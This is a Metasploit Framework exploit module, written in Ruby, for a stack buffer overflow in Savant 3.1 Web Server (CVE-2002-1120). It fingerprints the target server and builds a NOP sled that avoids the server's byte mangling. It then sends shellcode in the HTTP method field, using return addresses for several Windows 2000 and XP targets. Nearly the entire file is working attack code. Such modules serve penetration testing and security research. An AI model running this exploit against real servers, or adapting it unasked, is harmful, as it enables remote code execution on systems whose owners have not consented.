##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /Savant\/3\.1/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Savant 3.1 Web Server Overflow',
			'Description' => %q{
					This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service
				supports a maximum of 10 threads (for a default install). Each exploit attempt
				generally causes a thread to die whether sucessful or not. Therefore, in a default
				configuration, you only have 10 chances.

				Due to the limited space available for the payload in this exploit module, use of the
				"ord" payloads is recommended.
			},
			'Author'      => [ 'patrick' ],
			'Arch'		  => [ ARCH_X86 ],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2002-1120' ],
					[ 'OSVDB', '9829' ],
					[ 'BID', '5686' ],
					[ 'EDB', '787' ]
				],
			'Privileged'  => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'	  =>
				{
					'Space'			   => 253,
					'BadChars'        => "\x00\x0a\x0d\x25",
					'StackAdjustment' => -3500,
					'Compat'          =>
						{
							'ConnectionType' => '+ws2ord',
						},
				},
			'Platform'    => ['win'],
			'Targets'     =>
				[
					# Patrick - Tested OK 2007/08/08 : w2ksp0, w2ksp4, xpsp2 en.
					[ 'Universal Savant.exe', 	    { 'Ret' => 0x00417a96 } ], # p/r Savant.exe
					[ 'Windows 2000 Pro All - English', { 'Ret' => 0x750211aa } ], # p/r ws2help.dll
					[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2ac5 } ], # p/r ws2help.dll
					[ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa36b2 } ], # p/r ws2help.dll
					[ 'Windows XP Pro SP2 - English',   { 'Ret' => 0x71ab76ed } ], # p/r ws2help.dll
				],
			'DisclosureDate' => 'Sep 10 2002',
			'DefaultTarget' => 0))
	end

	def check
		info = http_fingerprint  # check method
		if info and (info =~ /Savant\/3\.1/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end


	def safe_nops(count)
		# We need to find a safe nop combination.
		# Savant will change some chars in the http method type - anything before the "/".
		#
		# For example, "GET /" will remain "GET /", however
		# "\xe0 /" will be modified to "\xc0 /" ...
		# "\xfe /" will be modified to "\xde /" ...
		# "\xff /" will be modified to "\x9f /"
		# The code after the "/" - our payload - is unchanged >=)
		#
		# Savant bad_chars for the nops

		bad_nop_chars = [*(0xe0..0xff)].pack("C*")

		nopsled = make_nops(count) # make_nops includes the payload bad_chars
			bad_nop_chars.each_byte { |badbyte|
				nopsled.each_byte { |goodbyte|
				if (goodbyte == badbyte)
					return false
				end
			}
		}
		return nopsled
	end


	def exploit
		print_status("Searching for a suitable nopsled...")
		findnop = safe_nops(24) # If we use short jump or make_nops(), sled will be corrupted.
		until findnop
			findnop = safe_nops(24) # If nops are banned, generate a new batch.
		end

		print_status("Found one! Sending exploit.")
		sploit = findnop + " /" + payload.encoded + [target['Ret']].pack('V')
		res = send_request_raw(
			{
				'method'  => sploit,
				'uri'     => '/'
			}, 5)
		if (res)
			print_error('The server responded, that can\'t be good.')
		end

		handler
	end

end
